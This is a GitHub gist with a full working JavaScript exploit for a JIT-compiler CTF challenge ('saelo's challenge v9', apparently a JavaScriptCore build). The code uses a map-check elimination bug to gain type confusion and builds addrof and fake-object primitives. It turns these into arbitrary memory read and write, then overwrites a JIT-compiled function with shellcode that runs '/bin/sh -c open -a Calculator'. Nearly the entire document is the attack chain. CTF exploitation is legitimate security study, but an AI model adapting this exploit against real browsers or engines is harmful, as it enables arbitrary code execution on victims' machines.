Last active
May 8, 2020 03:45
-
-
Save bkth/38af9cf37744fa602ca3a5a10afc6d2f to your computer and use it in GitHub Desktop.
exploit for saelo's challenge v9
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// JIT the target function that we will overwrite with our shellcode, even though W ^ X was already in HEAD when I wrote the exploit | |
// It was not enabled for the release version at the time | |
function yolo(o) { | |
var tmp = o ** 2 + o; | |
tmp *= 17; | |
tmp += o ** 37; | |
return tmp; | |
} | |
yolo(3); | |
yolo(4); | |
for (var i = 0; i < 0x10000; ++i) { | |
yolo(i); | |
} | |
yolo(5); | |
// utilities from saelo :) | |
function hex(b) { | |
return ('0' + b.toString(16)).substr(-2); | |
} | |
// Return the hexadecimal representation of the given byte array. | |
function hexlify(bytes) { | |
var res = []; | |
for (var i = 0; i < bytes.length; i++) | |
res.push(hex(bytes[i])); | |
return res.join(''); | |
} | |
// Return the binary data represented by the given hexdecimal string. | |
function unhexlify(hexstr) { | |
if (hexstr.length % 2 == 1) | |
throw new TypeError("Invalid hex string"); | |
var bytes = new Uint8Array(hexstr.length / 2); | |
for (var i = 0; i < hexstr.length; i += 2) | |
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); | |
return bytes; | |
} | |
function hexdump(data) { | |
if (typeof data.BYTES_PER_ELEMENT !== 'undefined') | |
data = Array.from(data); | |
var lines = []; | |
for (var i = 0; i < data.length; i += 16) { | |
var chunk = data.slice(i, i+16); | |
var parts = chunk.map(hex); | |
if (parts.length > 8) | |
parts.splice(8, 0, ' '); | |
lines.push(parts.join(' ')); | |
} | |
return lines.join('\n'); | |
} | |
// Simplified version of the similarly named python module. | |
var Struct = (function() { | |
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations. | |
var buffer = new ArrayBuffer(8); | |
var byteView = new Uint8Array(buffer); | |
var uint32View = new Uint32Array(buffer); | |
var float64View = new Float64Array(buffer); | |
return { | |
pack: function(type, value) { | |
var view = type; // See below | |
view[0] = value; | |
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); | |
}, | |
unpack: function(type, bytes) { | |
if (bytes.length !== type.BYTES_PER_ELEMENT) | |
throw Error("Invalid bytearray"); | |
var view = type; // See below | |
byteView.set(bytes); | |
return view[0]; | |
}, | |
// Available types. | |
int8: byteView, | |
int32: uint32View, | |
float64: float64View | |
}; | |
})(); | |
// | |
// Tiny module that provides big (64bit) integers. | |
// | |
// Copyright (c) 2016 Samuel Groß | |
// | |
// Requires utils.js | |
// | |
// Datatype to represent 64-bit integers. | |
// | |
// Internally, the integer is stored as a Uint8Array in little endian byte order. | |
function Int64(v) { | |
// The underlying byte array. | |
var bytes = new Uint8Array(8); | |
switch (typeof v) { | |
case 'number': | |
v = '0x' + Math.floor(v).toString(16); | |
case 'string': | |
if (v.startsWith('0x')) | |
v = v.substr(2); | |
if (v.length % 2 == 1) | |
v = '0' + v; | |
var bigEndian = unhexlify(v, 8); | |
bytes.set(Array.from(bigEndian).reverse()); | |
break; | |
case 'object': | |
if (v instanceof Int64) { | |
bytes.set(v.bytes()); | |
} else { | |
if (v.length != 8) | |
throw TypeError("Array must have excactly 8 elements."); | |
bytes.set(v); | |
} | |
break; | |
case 'undefined': | |
break; | |
default: | |
throw TypeError("Int64 constructor requires an argument."); | |
} | |
// Return a double whith the same underlying bit representation. | |
this.asDouble = function() { | |
// Check for NaN | |
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) | |
throw new RangeError("Integer can not be represented by a double"); | |
return Struct.unpack(Struct.float64, bytes); | |
}; | |
// Return a javascript value with the same underlying bit representation. | |
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) | |
// due to double conversion constraints. | |
this.asJSValue = function() { | |
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) | |
throw new RangeError("Integer can not be represented by a JSValue"); | |
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. | |
this.assignSub(this, 0x1000000000000); | |
var res = Struct.unpack(Struct.float64, bytes); | |
this.assignAdd(this, 0x1000000000000); | |
return res; | |
}; | |
// Return the underlying bytes of this number as array. | |
this.bytes = function() { | |
return Array.from(bytes); | |
}; | |
// Return the byte at the given index. | |
this.byteAt = function(i) { | |
return bytes[i]; | |
}; | |
// Return the value of this number as unsigned hex string. | |
this.toString = function() { | |
return '0x' + hexlify(Array.from(bytes).reverse()); | |
}; | |
// Basic arithmetic. | |
// These functions assign the result of the computation to their 'this' object. | |
// Decorator for Int64 instance operations. Takes care | |
// of converting arguments to Int64 instances if required. | |
function operation(f, nargs) { | |
return function() { | |
if (arguments.length != nargs) | |
throw Error("Not enough arguments for function " + f.name); | |
for (var i = 0; i < arguments.length; i++) | |
if (!(arguments[i] instanceof Int64)) | |
arguments[i] = new Int64(arguments[i]); | |
return f.apply(this, arguments); | |
}; | |
} | |
// this = -n (two's complement) | |
this.assignNeg = operation(function neg(n) { | |
for (var i = 0; i < 8; i++) | |
bytes[i] = ~n.byteAt(i); | |
return this.assignAdd(this, Int64.One); | |
}, 1); | |
// this = a + b | |
this.assignAdd = operation(function add(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) + b.byteAt(i) + carry; | |
carry = cur > 0xff | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
// this = a - b | |
this.assignSub = operation(function sub(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) - b.byteAt(i) - carry; | |
carry = cur < 0 | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
} | |
// Constructs a new Int64 instance with the same bit representation as the provided double. | |
Int64.fromDouble = function(d) { | |
var bytes = Struct.pack(Struct.float64, d); | |
return new Int64(bytes); | |
}; | |
// Convenience functions. These allocate a new Int64 to hold the result. | |
// Return -n (two's complement) | |
function Neg(n) { | |
return (new Int64()).assignNeg(n); | |
} | |
// Return a + b | |
function Add(a, b) { | |
return (new Int64()).assignAdd(a, b); | |
} | |
// Return a - b | |
function Sub(a, b) { | |
return (new Int64()).assignSub(a, b); | |
} | |
// Some commonly used numbers. | |
Int64.Zero = new Int64(0); | |
Int64.One = new Int64(1); | |
// Exploit | |
var ab = new ArrayBuffer(1024); | |
var f64 = new Float64Array(ab); | |
var u32 = new Uint32Array(ab); | |
function from_double(v) { | |
f64[0] = v; | |
return u32[0] + (u32[1] << 32); | |
} | |
function cloneFunc( func ) { | |
// from http://stackoverflow.com/a/19515928 | |
// used to create a copy of a function | |
var reFn = /^function\s*([^\s(]*)\s*\(([^)]*)\)[^{]*\{([^]*)\}$/gi | |
, s = func.toString().replace(/^\s|\s$/g, '') | |
, m = reFn.exec(s); | |
if (!m || !m.length) return; | |
var conf = { | |
name : m[1] || '', | |
args : m[2].replace(/\s+/g,'').split(','), | |
body : m[3] || '' | |
} | |
var clone = Function.prototype.constructor.apply(this, [].concat(conf.args, conf.body)); | |
return clone; | |
} | |
// the patch from saelo does some redundancy eliminations on map checks which is broken we can change the map of an object via callback | |
// between the first map check and the second one (which will be removed) and create a type confusion | |
function jit1(o, cb) { | |
var s = o.a; | |
cb(); | |
return o.a; | |
} | |
// function to leak the address of an object | |
function addrof(o) { | |
cloned_addrof = cloneFunc(_addrof); | |
return cloned_addrof(o); | |
} | |
function _addrof(o) { | |
var obj = {a:1.337} | |
jit1(obj, function(){}); | |
jit1(obj, function(){}); | |
for (var i = 0; i< 0x10000; ++i) { | |
jit1(obj, function(){}); | |
} | |
return jit1(obj, function() {obj.a = o;}); | |
} | |
function jit2(o, val, cb) { | |
var s = o.x; | |
cb(); | |
o.y = val | |
return o.a; | |
} | |
var fake_object = {f:3, g:4, h:5, j:6, k:7, l:8}; | |
fake_object.z = {}; | |
fake_object.e = {}; | |
function fake_stuff(v) { | |
var obj = {x:1.237} | |
var val = v.asDouble(); | |
obj.y = 13.37; | |
jit2(obj, val, function(){}); | |
jit2(obj, val, function(){}); | |
for (var i = 0; i< 0x10000; ++i) { | |
jit2(obj, val+i, function(){}); | |
} | |
return jit2(obj, val, function() {obj.y = fake_object;}); | |
} | |
var target = new ArrayBuffer(1024); | |
// trigger GC a bunch of times ot move everything to Old space and avoid bad surprises | |
function gc() { | |
for (var i = 0; i < 0x100; ++i) { | |
var tmp = new Uint8Array(0x100000); | |
} | |
} | |
gc(); | |
gc(); | |
gc(); | |
gc(); | |
var leak = Sub(Int64.fromDouble(addrof(target)), 1); | |
print("[*] leak is " + leak); | |
fake_stuff(Add(leak, 17)); | |
var buf = new ArrayBuffer(1024); | |
fake_object.e = buf; | |
fake_object.z = buf; | |
var u8 = new Uint8Array(target); | |
// we overwrote the properties pointer of our object to point into the first array buffer which we made point | |
// to our second array buffer, by writing to the first array buffer we can overwrite the metadata of the second one | |
// giving us an arbitrary R/W primitive | |
function set_addr(v) { | |
offset = 31; | |
for (var i = 0; i < 6; ++i) { | |
u8[offset] = v & 0xff | |
v /= 0x100 | |
offset += 1 | |
} | |
} | |
function read(addr) { | |
set_addr(addr); | |
var f64 = new Float64Array(buf); | |
return Int64.fromDouble(f64[0]); | |
} | |
function write(v, addr) { | |
set_addr(addr); | |
var f64 = new Float64Array(buf); | |
var val = new Int64(v); | |
f64[0] = val.asDouble(); | |
} | |
fake_object.z = yolo; | |
jitted_fn = Sub(read(Add(leak, 32)), 1); | |
print("[+] jitted function is at " + jitted_fn); | |
code = Sub(read(Add(jitted_fn, 0x38)), 1); | |
code = Add(code, 0x60); | |
print("[+] code is at " + code); | |
cmd = "open -a Calculator\0" | |
fake_object.z = cmd; | |
cmd_addr = Add(Sub(read(Add(leak, 32)), 1), 0x18); | |
print("[+] cmd addr is " + cmd_addr); | |
var shellcode = [].concat([72,49,210,72,184,47,98,105,110,47,115,104,0,80,72,137,231,184,45,99,0,0,80,72,137,225,72,184], Array.from(cmd_addr.bytes()), [82,80,81,87,72,137,230, 0x48, 0xc7, 0xc0, 0x3b, 0, 0, 0x02,15,5]); | |
set_addr(code); | |
(new Uint8Array(buf)).set(shellcode, 0); | |
yolo(3); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment